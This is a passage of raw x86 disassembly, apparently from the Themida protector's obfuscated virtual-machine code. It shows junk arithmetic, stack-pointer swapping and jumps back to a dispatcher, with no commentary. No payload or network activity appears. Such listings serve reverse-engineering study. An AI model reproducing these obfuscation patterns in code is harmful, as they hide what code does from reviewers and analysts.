push [esp+3Eh+var_3E]
jmp loc_5548DC
; ---------------------------------------------------------------------------
loc_55A60C: ; CODE XREF: sub_559C84+5E2Aj
pop esi
jmp sub_554404
; ---------------------------------------------------------------------------
loc_55A612: ; CODE XREF: sub_559C84-3000j
add ebx, edi
jmp loc_55A4E8
; ---------------------------------------------------------------------------
loc_55A619: ; CODE XREF: sub_559C84+2AD7j
push 1AFAh
jmp loc_55B41A
; ---------------------------------------------------------------------------
loc_55A623: ; CODE XREF: sub_559C84-2F23j
push esp
pop ecx
add ecx, 4
jmp loc_55490A
; ---------------------------------------------------------------------------
loc_55A630: ; CODE XREF: sub_559C84+2555j
push 5C33h
mov [esp+44h+var_46+2], ecx
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A63D: ; CODE XREF: sub_559C84+1973j
push edi
sub esp, 4
mov [esp+4Ch+var_4E+2], esp
jmp loc_55EC02
; ---------------------------------------------------------------------------
loc_55A649: ; CODE XREF: sub_55799E+Fj
or edx, 1CEC1872h
or edx, 1FAA040Ah
or edx, 1A81333Ch
jmp loc_55DAB0
; ---------------------------------------------------------------------------
loc_55A660: ; CODE XREF: sub_559C84+20F3j
push ecx
mov ecx, 6FE5105Ah
and eax, ecx
pop ecx
add eax, 13B057C7h
add eax, 0E4F1B409h
add edi, eax
jmp loc_554BDD
; ---------------------------------------------------------------------------
loc_55A67A: ; CODE XREF: sub_559C84+2D64j
mov esi, 3CC71A9Ah
jmp loc_5541C7
; ---------------------------------------------------------------------------
loc_55A684: ; CODE XREF: sub_55523E+4j
sub dh, bh
pop bx
jmp loc_55A07D
; ---------------------------------------------------------------------------
loc_55A68D: ; CODE XREF: Themida_:0055E821j
pop [esp+4Ah+var_4A]
mov esp, [esp+46h+var_46]
shl byte ptr [esp+46h+var_46], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A69C: ; CODE XREF: sub_559C84+5967j
mov [esp+4Ah+var_4A], esi
mov esi, 5BC51D97h
mov ebx, 10C60091h
push ebx
not [esp+4Eh+var_4E]
mov ebx, [esp+4Eh+var_4E]
add esp, 4
push 0
sub [esp+4Eh+var_4E], ebx
jmp loc_553CB2
; ---------------------------------------------------------------------------
loc_55A6C3: ; CODE XREF: sub_559C84+25B3j
add ebx, 8C559173h
add ebp, ebx
pop ebx
sub ebp, 4
push ebp
push [esp+4Eh+var_4A]
pop ebp
pop [esp+4Eh+var_4E]
mov esp, [esp+4Ah+var_4A]
jmp loc_55DD44
; ---------------------------------------------------------------------------
loc_55A6E3: ; CODE XREF: sub_559C84+3320j
xor [esp+4Ah+var_4A], ebp
xor ebp, [esp+4Ah+var_4A]
pop esp
shl [esp+46h+var_46], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
push [esp+4Ah+var_4A]
push [esp+4Eh+var_4E]
pop eax
jmp loc_55D08F
; ---------------------------------------------------------------------------
loc_55A6FF: ; CODE XREF: sub_559C84-4B74j
shl edi, 8
dec edi
sub edi, 1
push ebp
mov ebp, 21663572h
add ebp, 0E3E253BEh
xor edi, ebp
pop ebp
push ecx
mov ecx, 44C87B68h
sub ebx, ecx
pop ecx
add ebx, 51F455BCh
jmp loc_557D8C
; ---------------------------------------------------------------------------
loc_55A72C: ; CODE XREF: sub_559C84-4521j
add ebx, 637A1160h
xor ecx, ebx
jmp loc_55C0E8
; ---------------------------------------------------------------------------
loc_55A739: ; CODE XREF: sub_559C84+10DAj
sub [esp+48h+var_46+2], edi
push edx
mov edx, 1D6759B5h
jmp loc_5592DC
; ---------------------------------------------------------------------------
loc_55A748: ; CODE XREF: sub_559C84-44F9j
add esp, 4
push eax
push 1521h
mov [esp+4Ch+var_4E+2], ebx
push [esp+4Ch+var_4E+2]
mov eax, [esp+50h+var_52+2]
add esp, 4
add esp, 4
push [esp+48h+var_4A+2]
pop ebx
add esp, 4
push esi
mov esi, 1
and eax, esi
push [esp+48h+var_4A+2]
jmp loc_55F5D3
; ---------------------------------------------------------------------------
push ebp
push 693E12F7h
pop ebp
sub ebp, 0FFFFFFFFh
and ebp, 4266B30h
jmp loc_55C86F
; ---------------------------------------------------------------------------
loc_55A78F: ; CODE XREF: sub_559C84-2B13j
xor al, 31h
sub bl, al
pop eax
jmp loc_55A13F
; ---------------------------------------------------------------------------
loc_55A799: ; CODE XREF: sub_559C84-3020j
add edi, 4
xchg edi, [esp+4Ch+var_4E+2]
pop esp
push 5C6Dh
mov [esp+4Ch+var_4E+2], ecx
push ebx
mov ebx, 3272556Ch
xor ebx, 0AB91204h
xor ebx, 5A4A5DDEh
shl ebx, 5
sub ebx, 10DD0C6Eh
push esi
jmp loc_5578C9
; ---------------------------------------------------------------------------
loc_55A7C9: ; CODE XREF: sub_559C84-656Cj
add ebx, edi
jmp loc_556EDA
; ---------------------------------------------------------------------------
loc_55A7D0: ; CODE XREF: sub_559C84-332Cj
push ecx
mov ch, 5Ah
jmp loc_55D7F7
; ---------------------------------------------------------------------------
dd 240C8B66h, 7DF86851h, 66E90000h
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A7E7: ; CODE XREF: sub_559C84+20C3j
mov esi, eax
jmp loc_55860D
; ---------------------------------------------------------------------------
loc_55A7EE: ; CODE XREF: sub_559C84-2ACFj
add ecx, esi
pop esi
sub ecx, 3C6035DBh
sub edi, ecx
mov ecx, [esp-1Ah+arg_14+2]
add esp, 4
xchg edi, [esp-1Eh+arg_18+2]
mov esp, [esp-1Eh+arg_18+2]
mov [esp-1Eh+arg_18+2], eax
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A810: ; CODE XREF: sub_559C84-398j
push ebx
mov ebx, 4
add eax, ebx
pop ebx
xchg eax, [esp+3Ah+var_3A]
jmp loc_554E9B
; ---------------------------------------------------------------------------
loc_55A821: ; CODE XREF: sub_559C84+5479j
push ecx
mov ecx, 4
add edi, 177252B3h
add edi, 2680AC2h
add edi, 4426165h
add edi, ecx
jmp loc_558342
; ---------------------------------------------------------------------------
loc_55A840: ; CODE XREF: Themida_:00556E0Ej
push 4F0Bh
mov [esp+42h+var_42], ebx
mov ebx, 0
push eax
mov eax, 8330902h
sub ebx, eax
pop eax
add ebx, edx
push esi
mov esi, 8330902h
sub ebx, 2795A1Ch
sub ebx, 287F7CD4h
add ebx, esi
add ebx, 287F7CD4h
add ebx, 2795A1Ch
mov esi, [esp+46h+var_46]
sub esp, 4
mov [esp+4Ah+var_4A], edi
jmp loc_55A1D6
; ---------------------------------------------------------------------------
loc_55A886: ; CODE XREF: sub_559C84-4C49j
or ah, 77h
push bx
mov bl, 0C1h
xor ah, bl
pop bx
sub bl, ah
pop eax
pop edx
jmp loc_557EE7
; ---------------------------------------------------------------------------
loc_55A89A: ; CODE XREF: sub_559C84-37FFj
add esp, 4
add esp, 4
xor esi, [esp+4Ah+var_4A]
xor [esp+4Ah+var_4A], esi
xor esi, [esp+4Ah+var_4A]
pop esp
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A8AF: ; CODE XREF: sub_559C84+62Cj
sub al, 0DCh
add al, 0E6h
add al, dl
sub al, 0E6h
add al, 0DCh
push edx
mov dh, 5Ch
jmp loc_5568FD
; ---------------------------------------------------------------------------
loc_55A8C1: ; CODE XREF: sub_559C84-53DEj
sub ebx, 4
xchg ebx, [esp+48h+var_4A+2]
pop esp
mov [esp+44h+var_46+2], ebx
mov bl, 67h
or bl, 1Eh
jmp loc_556DFE
; ---------------------------------------------------------------------------
loc_55A8D8: ; CODE XREF: sub_559C84-A1Ej
sub eax, ebp
jmp loc_55B026
; ---------------------------------------------------------------------------
loc_55A8DF: ; CODE XREF: sub_5599A2-4DCAj
push 6846h
mov [esp+18h+var_18], esi
push 1D32h
jmp loc_556D5E
; ---------------------------------------------------------------------------
loc_55A8F1: ; CODE XREF: sub_559C84-3B01j
pop esp
add bl, 0A8h
jmp loc_55A0B1
; ---------------------------------------------------------------------------
loc_55A8FA: ; CODE XREF: sub_559C84+3AC6j
mov ebx, 7BCF031Dh
neg ebx
add ebx, 37652727h
not ebx
neg ebx
jmp loc_556535
; ---------------------------------------------------------------------------
loc_55A910: ; CODE XREF: sub_559C84-670Dj
pop esp
jmp loc_55EE47
; ---------------------------------------------------------------------------
push 5F9Ch
mov [esp-10h+arg_C], edx
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A923: ; CODE XREF: Themida_:00556F1Aj
push esp
jmp loc_5598D9
; ---------------------------------------------------------------------------
loc_55A929: ; CODE XREF: sub_559C84-37F0j
add esp, 4
push edx
add [esp+4Eh+var_4E], 10009CEh
push [esp+4Eh+var_4E]
pop ebx
add esp, 4
jmp loc_55670C
; ---------------------------------------------------------------------------
loc_55A943: ; CODE XREF: sub_559C84+2E26j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_555768
; ---------------------------------------------------------------------------
loc_55A951: ; CODE XREF: sub_559C84+448Fj
xchg edx, [esp+4Eh+var_4E]
pop esp
push dword ptr [edx]
pop ecx
pop edx
jmp loc_555EE4
; ---------------------------------------------------------------------------
loc_55A95E: ; CODE XREF: sub_559C84+42ADj
pop ecx
jmp loc_555FBB
; ---------------------------------------------------------------------------
loc_55A964: ; CODE XREF: Themida_:005545A8j
add esi, ecx
pop ecx
push edx
mov edx, 1FE012ECh
push edi
push ecx
mov ecx, 4C5454Dh
not ecx
sub ecx, 8781B3FEh
jmp loc_55BB1B
; ---------------------------------------------------------------------------
loc_55A981: ; CODE XREF: sub_559C84+48BEj
mov [esp+4Ah+var_4A], eax
mov eax, 330E0F3Ch
mov edi, 7D3666D7h
xor edi, eax
mov eax, [esp+4Ah+var_4A]
add esp, 4
dec edi
add edi, 2C53E30h
push ecx
mov ecx, 7E717B1Fh
add edi, ecx
pop ecx
neg edi
sub edi, 0F5A48943h
jmp loc_556A6A
; ---------------------------------------------------------------------------
loc_55A9B6: ; CODE XREF: sub_559C84-52DAj
add esp, 4
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A9C1: ; CODE XREF: sub_559C84-2507j
add ebx, edx
push ecx
mov ecx, 778161C5h
jmp loc_55E7E0
; ---------------------------------------------------------------------------
loc_55A9CE: ; CODE XREF: Themida_:0055F1EBj
pop ebx
push 2CCFh
mov [esp+3Eh+var_3E], esi
not [esp+3Eh+var_3E]
mov esi, [esp+3Eh+var_3E]
push edi
mov edi, esp
jmp loc_55515E
; ---------------------------------------------------------------------------
loc_55A9E5: ; CODE XREF: sub_55590A+1C8Cj
sub esp, 4
jmp loc_5567BE
; ---------------------------------------------------------------------------
loc_55A9F0: ; CODE XREF: sub_559C84+3EF8j
mov edi, [esp+46h+var_46]
jmp loc_553E0C
; ---------------------------------------------------------------------------
loc_55A9F8: ; CODE XREF: Themida_:0055600Dj
pop eax
push edi
sub esp, 4
mov [esp+4Ah+var_4A], esp
add [esp+4Ah+var_4A], 4
push [esp+4Ah+var_4A]
pop edi
jmp sub_5556C9
; ---------------------------------------------------------------------------
loc_55AA10: ; CODE XREF: sub_559C84+495Cj
add esi, edi
jmp loc_558091
; ---------------------------------------------------------------------------
loc_55AA17: ; CODE XREF: sub_554517+5281j
mov esi, [esp+4Ah+var_4A]
push ebp
mov ebp, esp
jmp loc_557078
; ---------------------------------------------------------------------------
loc_55AA22: ; CODE XREF: sub_559C84+54CDj
mov edx, [esp+4Eh+var_4E]
add esp, 4
add eax, 356C46BEh
push 7CDEh
mov [esp+4Eh+var_4E], edx
mov edx, 44965D91h
push ebp
jmp loc_555C62
; ---------------------------------------------------------------------------
loc_55AA40: ; CODE XREF: sub_559C84-2C5Aj
mov ebp, 30E5143Ch
xor ebp, 363C0FBFh
mov ebx, ebp
pop ebp
shr ebx, 5
sub ebx, 0CA00743h
shl ebx, 4
shr ebx, 7
not ebx
jmp loc_55ED3B
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+34h+var_34]
sub esp, 4
mov [esp+38h+var_3A+2], esi
push esp
mov esi, [esp+3Ch+var_3E+2]
jmp sub_55E425
; ---------------------------------------------------------------------------
loc_55AA7A: ; CODE XREF: sub_559C84-3A12j
add cl, 8
jmp loc_55AF1A
; ---------------------------------------------------------------------------
loc_55AA82: ; CODE XREF: sub_559C84+3DD1j
push ebp
sub esp, 4
mov [esp+38h+var_3A+2], esp
jmp loc_55374A
; ---------------------------------------------------------------------------
loc_55AA8E: ; CODE XREF: sub_559C84-1ABCj
add esp, 4
push 41DDh
mov [esp+56h+var_58+2], edi
push 2
pop edi
jmp loc_556120
; ---------------------------------------------------------------------------
loc_55AAA7: ; DATA XREF: Themida_:00553434o
mov ax, word ptr [esp+56h+var_58+2]
push 781h
mov [esp+5Ah+var_5C+2], ecx
push esp
jmp loc_55C1F9
; ---------------------------------------------------------------------------
loc_55AAB9: ; CODE XREF: sub_559C84+4373j
add eax, 0F0B39D22h
add ebx, eax
pop eax
jmp sub_55DD10
; ---------------------------------------------------------------------------
push [esp+5Ah+var_5C+2]
jmp loc_55502C
; ---------------------------------------------------------------------------
loc_55AACE: ; CODE XREF: Themida_:00558026j
mov [esp+5Eh+var_60+2], ebx
push esp
mov ebx, [esp+62h+var_64+2]
jmp loc_55BFB1
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl [esp+60h+var_60], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55AAE9: ; CODE XREF: sub_559C84+2949j
xor ecx, ebx
pop ebx
sub ebx, ecx
pop ecx
add ebx, 294D7260h
sub ebx, eax
sub ebx, 294D7260h
push esi
mov esi, 45F540ADh
jmp loc_55E553
; ---------------------------------------------------------------------------
loc_55AB08: ; CODE XREF: sub_559C84-103Bj
or ecx, eax
pop eax
jmp loc_558B19
; ---------------------------------------------------------------------------
loc_55AB10: ; CODE XREF: sub_559C84+3DA5j
xor word ptr [esp+24h+var_24], dx
pop ax
xor word ptr [esp+22h+var_24+2], ax
xor ax, word ptr [esp+22h+var_24+2]
xor word ptr [esp+22h+var_24+2], ax
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55AB27: ; CODE XREF: sub_559C84-2B8j
xor edi, 53EFB8FFh
sub ecx, edi
pop edi
jmp loc_55F8DA
; ---------------------------------------------------------------------------
loc_55AB35: ; CODE XREF: sub_559C84+5C51j
push ebx
mov ebx, 1367558Ah
jmp loc_5569DD
; ---------------------------------------------------------------------------
loc_55AB40: ; CODE XREF: sub_559C84+303Ej
xor ebx, eax
pop eax
dec ebx
or ebx, 54F96731h
sub esp, 4
mov [esp+60h+var_60], ebp
mov ebp, 0B9C0FC3h
shr ebp, 2
dec ebp
sub ebp, 0FFFFFFFFh
not ebp
push ebx
push edi
mov edi, 6D6546B1h
add edi, 410D733Ch
sub edi, 5BE22FD0h
xor edi, 405ACFF6h
mov ebx, edi
pop edi
xor ebp, ebx
pop ebx
jmp loc_55967D
; ---------------------------------------------------------------------------
loc_55AB85: ; CODE XREF: sub_559C84+26B3j
push [esp+60h+var_5C]
pop edx
pop [esp+60h+var_60]
pop esp
sub eax, ebx
push 1E85h
mov [esp+5Ch+var_5C], edi
mov edi, 7375193Eh
jmp loc_556571
; ---------------------------------------------------------------------------
loc_55ABA2: ; CODE XREF: sub_559C84-509Cj
pop edx
sub edi, 59DD4FFDh
jmp loc_555790
; ---------------------------------------------------------------------------
loc_55ABAE: ; CODE XREF: sub_559C84+49Ej
push eax
mov eax, 4
jmp loc_5594AD
; ---------------------------------------------------------------------------
loc_55ABB9: ; CODE XREF: sub_557920+75BEj
shl ebx, 4
inc ebx
push ebp
mov ebp, esp
sub esp, 4
mov [esp+50h+var_52+2], ecx
mov ecx, 4
add ebp, ecx
jmp loc_558467
; ---------------------------------------------------------------------------
loc_55ABD5: ; CODE XREF: sub_559C84+2421j
add edx, 4
add edx, 4
xchg edx, [esp+50h+var_52+2]
pop esp
push ebp
sub esp, 4
mov [esp+0], edx
push 7BA77143h
pop edx
inc edx
jmp loc_556B10
; ---------------------------------------------------------------------------
loc_55ABF8: ; CODE XREF: sub_559C84+4757j
xor al, ch
pop cx
jmp loc_55746E
; ---------------------------------------------------------------------------
loc_55AC01: ; CODE XREF: sub_559C84+54BDj
sub edx, esi
jmp loc_55B933
; ---------------------------------------------------------------------------
loc_55AC08: ; CODE XREF: sub_559C84-5049j
mov ah, 0FCh
add bl, 39h
jmp loc_554A87
; ---------------------------------------------------------------------------
loc_55AC12: ; CODE XREF: sub_559C84-4046j
add esp, 4
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
mov [esp-8+arg_4], eax
push [esp-8+arg_4]
push [esp-4+arg_0]
jmp loc_55F102
; ---------------------------------------------------------------------------
loc_55AC29: ; CODE XREF: sub_559C84+52A9j
pop ebx
jmp loc_55BA0A
; ---------------------------------------------------------------------------
loc_55AC2F: ; CODE XREF: sub_559C84+1DE9j
pop eax
sub esi, 0DB2103Eh
add esi, 4243D24Fh
add ebp, esi
pop esi
jmp loc_55CFA1
; ---------------------------------------------------------------------------
loc_55AC44: ; CODE XREF: sub_559C84+4229j
or ebx, 5DC6462Ch
jmp loc_555E2F
; ---------------------------------------------------------------------------
loc_55AC4F: ; CODE XREF: sub_559C84-1128j
sub eax, 396272CBh
add eax, edx
push edx
mov edx, 396272CBh
add eax, edx
pop edx
sub eax, 30C950A7h
pop edx
jmp loc_55DF3E
; ---------------------------------------------------------------------------
loc_55AC6A: ; CODE XREF: sub_559C84+2F24j
and ebp, ebx
push [esp+34h+var_34]
pop ebx
add esp, 4
push edi
mov edi, 408E12A6h
shr edi, 3
push esi
mov esi, 7C4C5FAAh
sub esi, 52E82211h
and edi, esi
pop esi
jmp loc_555040
; ---------------------------------------------------------------------------
loc_55AC90: ; CODE XREF: sub_559C84+1AB9j
and esi, 4C41655Fh
jmp loc_5571AF
; ---------------------------------------------------------------------------
loc_55AC9B: ; CODE XREF: sub_559C84+1A12j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55ACA0: ; CODE XREF: sub_559C84+3A0Aj
mov esi, [esp+34h+var_34]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+38h+var_3A+2]
pop esp
jmp loc_555BFC
; ---------------------------------------------------------------------------
loc_55ACB8: ; CODE XREF: sub_559C84+213Dj
mov eax, [esp+34h+var_34]
push esi
mov esi, esp
add esi, 4
jmp loc_55986B
; ---------------------------------------------------------------------------
loc_55ACC9: ; CODE XREF: sub_559C84-3AFAj
mov edi, [esp+44h+var_46+2]
push edi
mov edi, esp
add edi, 4
jmp loc_55852B
; ---------------------------------------------------------------------------
loc_55ACDA: ; CODE XREF: sub_559C84-55FDj
add ecx, 4
push ecx
push [esp+40h+var_3E+2]
pop ecx
pop [esp+40h+var_42+2]
pop esp
and ecx, esi
mov esi, [esp+38h+var_3A+2]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+3Ch+var_3E+2]
jmp loc_55F710
; ---------------------------------------------------------------------------
loc_55AD00: ; CODE XREF: sub_559C84+4524j
push [esp+3Ch+var_3A+2]
mov edi, [esp+40h+var_42+2]
add esp, 4
pop [esp+3Ch+var_3E+2]
jmp loc_55D6AD
; ---------------------------------------------------------------------------
loc_55AD12: ; CODE XREF: Themida_:00553DB0j
mov esi, esp
add esi, 4
push 6957h
mov [esp+3Ch+var_3E+2], edi
push 37B8h
mov [esp+40h+var_42+2], esi
mov esi, 2
jmp loc_5555D6
; ---------------------------------------------------------------------------
loc_55AD34: ; CODE XREF: sub_559C84-32A5j
pop ebx
jmp loc_559771
; ---------------------------------------------------------------------------
loc_55AD3A: ; CODE XREF: sub_559C84+2BBEj
sub esp, 4
mov [esp+52h+var_52], ebx
jmp loc_559288
; ---------------------------------------------------------------------------
loc_55AD48: ; CODE XREF: sub_559C84+588Fj
pop ecx
jmp loc_557B85
; ---------------------------------------------------------------------------
loc_55AD4E: ; CODE XREF: sub_559C84-3EE6j
mov edi, 16251FDBh
push ebx
mov ebx, 1D6759B5h
sub [esp+62h+var_5C+2], ebx
pop ebx
jmp loc_55A739
; ---------------------------------------------------------------------------
loc_55AD63: ; CODE XREF: sub_559C84-66BCj
push ebp
mov ebp, 45573859h
add esi, 6AA640BAh
add esi, ebp
jmp loc_55F668
; ---------------------------------------------------------------------------
loc_55AD76: ; CODE XREF: sub_559C84+57ACj
sub esp, 4
mov [esp+4+var_4], edx
push 2EDD6FC8h
mov edx, [esp+8+var_8]
add esp, 4
neg edx
dec edx
jmp sub_55E34A
; ---------------------------------------------------------------------------
loc_55AD92: ; CODE XREF: sub_559C84-202Bj
xchg edx, [esp+3Eh+var_3E]
pop esp
and eax, edi
push [esp+3Ah+var_3A]
mov edi, [esp+3Eh+var_3E]
add esp, 4
add esp, 4
jmp loc_55E2E8
; ---------------------------------------------------------------------------
loc_55ADAF: ; CODE XREF: sub_559C84+55E2j
not ebp
sub ebp, 28B50647h
add ebp, 725F7957h
shr ebp, 6
sub ebp, 951A79CDh
add eax, ebp
jmp loc_554643
; ---------------------------------------------------------------------------
loc_55ADCD: ; CODE XREF: sub_559C84+2473j
push edx
mov edx, 26A74E06h
jmp loc_559842
; ---------------------------------------------------------------------------
loc_55ADD8: ; CODE XREF: sub_55F569-7486j
sub esi, 5D8CA2EDh
jmp loc_55E2B9
; ---------------------------------------------------------------------------
loc_55ADE3: ; CODE XREF: sub_559C84-2F41j
mov esi, 45D25468h
add ebp, esi
pop esi
add ebp, 272B4C91h
jmp loc_55B76C
; ---------------------------------------------------------------------------
loc_55ADF6: ; CODE XREF: sub_559C84+89Ej
xor [esp+24h+var_24], eax
xor eax, [esp+24h+var_24]
mov esp, [esp+24h+var_24]
mov eax, [esp+24h+var_24]
push edx
mov edx, esp
push ebp
mov ebp, 754065E4h
add ebp, 8ABF9A20h
add edx, 72807FFEh
jmp loc_55BE73
; ---------------------------------------------------------------------------
loc_55AE1C: ; CODE XREF: sub_559C84+5748j
add edx, edi
pop edi
jmp loc_557238
; ---------------------------------------------------------------------------
loc_55AE24: ; CODE XREF: sub_559C84-5197j
push edx
mov edx, 56312D05h
mov ebp, edx
pop edx
jmp loc_55BB2F
; ---------------------------------------------------------------------------
loc_55AE32: ; CODE XREF: sub_559C84-1830j
sub bx, dx
pop dx
jmp loc_558778
; ---------------------------------------------------------------------------
loc_55AE3C: ; CODE XREF: sub_559C84-1272j
add eax, edx
pop edx
jmp loc_55DF77
; ---------------------------------------------------------------------------
loc_55AE44: ; CODE XREF: sub_559C84-591Fj
shl cl, 7
neg cl
sub cl, 8Bh
add al, cl
pop ecx
add dh, al
pop eax
mov eax, [esp-24h+arg_20]
add esp, 4
xor al, dh
jmp loc_55841D
; ---------------------------------------------------------------------------
loc_55AE62: ; CODE XREF: sub_559C84+441Cj
sub ebx, 3CE754B3h
add ebx, ecx
add ebx, 3CE754B3h
mov ecx, [esp-28h+arg_24]
add esp, 4
push 74F0h
jmp loc_559B3F
; ---------------------------------------------------------------------------
loc_55AE80: ; CODE XREF: sub_555D07+29FEj
mov edi, 2
add ebp, 75B8166Bh
add ebp, edi
sub ebp, 75B8166Bh
pop edi
xor ebp, [esp-2Ch+arg_28]
xor [esp-2Ch+arg_28], ebp
xor ebp, [esp-2Ch+arg_28]
pop esp
mov ax, [esp+0]
push 3742h
jmp loc_555558
; ---------------------------------------------------------------------------
loc_55AEAC: ; CODE XREF: Themida_:0055950Cj
push 2C7Eh
mov [esp-28h+arg_24], ebx
push 778Eh
mov [esp-24h+arg_20], eax
push edx
mov dh, 0D8h
push ebx
mov bh, 3Dh
inc bh
sub bh, 0EFh
jmp loc_55452A
; ---------------------------------------------------------------------------
loc_55AECC: ; CODE XREF: sub_559C84-1EF6j
sub ebx, 51F455BCh
add ebx, 44C87B68h
pop edi
mov dx, word ptr [esp+28h+var_28]
jmp loc_5573C5
; ---------------------------------------------------------------------------
loc_55AEE2: ; CODE XREF: sub_559C84-5DB6j
push ebx
push eax
mov eax, 0D6299C2Fh
mov ebx, eax
jmp loc_55F096
; ---------------------------------------------------------------------------
loc_55AEF0: ; CODE XREF: sub_559C84+4440j
add [esp+0Ch+var_8], 4C332B42h
pop eax
jmp loc_55B220
; ---------------------------------------------------------------------------
loc_55AEFE: ; CODE XREF: sub_559C84+362Bj
mov edx, [esp+8+var_8]
jmp loc_55F94A
; ---------------------------------------------------------------------------
loc_55AF06: ; CODE XREF: sub_559C84+34D5j
push edx
mov edx, 4
push edi
jmp loc_554F83
; ---------------------------------------------------------------------------
loc_55AF12: ; CODE XREF: Themida_:00554A64j
add eax, 4
jmp loc_55B37A
; ---------------------------------------------------------------------------
loc_55AF1A: ; CODE XREF: sub_559C84+DF9j
xor cl, 20h
xor cl, 4Bh
sub dl, cl
pop ecx
mov ecx, [esp+2Ch+var_2C]
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
push [esp+34h+var_30]
jmp loc_55FB43
; ---------------------------------------------------------------------------
loc_55AF3D: ; CODE XREF: sub_556D58-A0j
not edx
push ebx
mov ebx, 0F37FFC6Fh
sub edx, ebx
jmp loc_55DE38
; ---------------------------------------------------------------------------
loc_55AF4C: ; CODE XREF: sub_559C84+2CFAj
pop edx
add esp, 4
push 188Dh
mov [esp+38h+var_3A+2], esi
mov esi, 4
jmp loc_55DD3D
; ---------------------------------------------------------------------------
loc_55AF65: ; CODE XREF: Themida_:00558496j
add esi, 1D78F52Bh
xor esi, 3D870597h
add esi, 0DFF7DBD7h
sub esp, 4
jmp loc_557E5D
; ---------------------------------------------------------------------------
loc_55AF82: ; CODE XREF: sub_559C84+326Cj
push edx
jmp loc_558A0D
; ---------------------------------------------------------------------------
loc_55AF88: ; CODE XREF: sub_559C84-6122j
push ecx
jmp loc_55435C
; ---------------------------------------------------------------------------
loc_55AF8E: ; CODE XREF: sub_559C84+355Fj
add eax, 0C282141h
push ebp
mov ebp, 796A5813h
dec ebp
sub ebp, 2E574C67h
sub ebp, 382669B1h
xor ebp, 50951F35h
sub ebp, 0FF3455BCh
add eax, 5801188Bh
sub eax, 6B882492h
sub eax, ebp
jmp loc_559395
; ---------------------------------------------------------------------------
push 4161h
mov [esp+3Eh+var_3E], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_559E5C
; ---------------------------------------------------------------------------
loc_55AFDB: ; CODE XREF: sub_559C84+2681j
add esp, 4
push ebx
push esp
pop ebx
add ebx, 4
push edi
mov edi, 4
add ebx, edi
pop edi
xchg ebx, [esp+3Eh+var_3E]
mov esp, [esp+3Eh+var_3E]
xchg esi, [esp+3Eh+var_3E]
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55AFFE: ; CODE XREF: sub_559C84-172j
add esi, ebx
pop ebx
xor esi, [esp+4Ah+var_4A]
xor [esp+4Ah+var_4A], esi
xor esi, [esp+4Ah+var_4A]
jmp loc_55D139
; ---------------------------------------------------------------------------
loc_55B00F: ; CODE XREF: Themida_:005547D5j
xchg edx, [esp+4Ah+var_4A]
pop esp
sub esp, 4
mov [esp+4Ah+var_4A], edi
push esp
pop edi
add edi, 4
jmp loc_55F41A
; ---------------------------------------------------------------------------
loc_55B026: ; CODE XREF: sub_559C84+C56j
sub eax, 14EF17DEh
push esi
push edx
mov edx, 2C5E2048h
mov esi, edx
jmp loc_55BAF3
; ---------------------------------------------------------------------------
loc_55B039: ; CODE XREF: sub_554790-EDCj
pop edi
add edi, 0B2D79141h
mov ecx, edi
jmp loc_558F60
; ---------------------------------------------------------------------------
loc_55B047: ; CODE XREF: sub_559C84-3C8Cj
add esp, 4
sub esp, 2
mov word ptr [esp+58h+var_58], ax
jmp loc_55B2E0
; ---------------------------------------------------------------------------
loc_55B056: ; CODE XREF: sub_559C84-41CAj
mov eax, 73BF03B1h
add ebx, eax
pop eax
push ebp
jmp loc_55B390
; ---------------------------------------------------------------------------
loc_55B064: ; CODE XREF: sub_559C84+22B7j
add eax, 4
xchg eax, [esp+4Ah+var_4A]
pop esp
xor ebx, 575F6D57h
jmp loc_5561A0
; ---------------------------------------------------------------------------
loc_55B076: ; CODE XREF: sub_559C84+1E35j
mov [esp+46h+var_46], eax
mov eax, 4
add edx, eax
pop eax
xchg edx, [esp+42h+var_42]
pop esp
sub esp, 4
mov [esp+42h+var_42], ecx
jmp loc_559A5C
; ---------------------------------------------------------------------------
loc_55B093: ; CODE XREF: sub_559C84+261Ej
push [esp+42h+var_42]
pop edi
jmp loc_5575F9
; ---------------------------------------------------------------------------
loc_55B09C: ; CODE XREF: sub_559C84-D62j
push ax
push ebx
mov bh, 0CDh
mov al, 97h
xor al, bh
jmp loc_554CAB
; ---------------------------------------------------------------------------
loc_55B0AA: ; CODE XREF: sub_559C84+2E35j
add esp, 4
push edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
sub edx, ebp
pop ebp
xchg edx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], edx
push edi
mov edi, 0CED8D1C0h
jmp loc_559CD5
; ---------------------------------------------------------------------------
loc_55B0D1: ; CODE XREF: sub_559C84+2792j
add esp, 4
push edx
push edi
jmp loc_558C4E
; ---------------------------------------------------------------------------
loc_55B0DE: ; CODE XREF: sub_557380+Ej
pop ebp
jmp loc_554AFF
; ---------------------------------------------------------------------------
loc_55B0E4: ; CODE XREF: sub_559C84+24ADj
add esp, 4
add eax, ebx
mov ebx, [esp+4+var_4]
jmp loc_556150
; ---------------------------------------------------------------------------
loc_55B0F1: ; CODE XREF: sub_559C84+565Cj
pop ecx
jmp sub_55EB5B
; ---------------------------------------------------------------------------
loc_55B0F7: ; CODE XREF: sub_559C84+2154j
mov [esp+0], ebx
jmp loc_55B345
; ---------------------------------------------------------------------------
loc_55B0FF: ; CODE XREF: sub_559C84+94j
pop ax
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_55351F
; ---------------------------------------------------------------------------
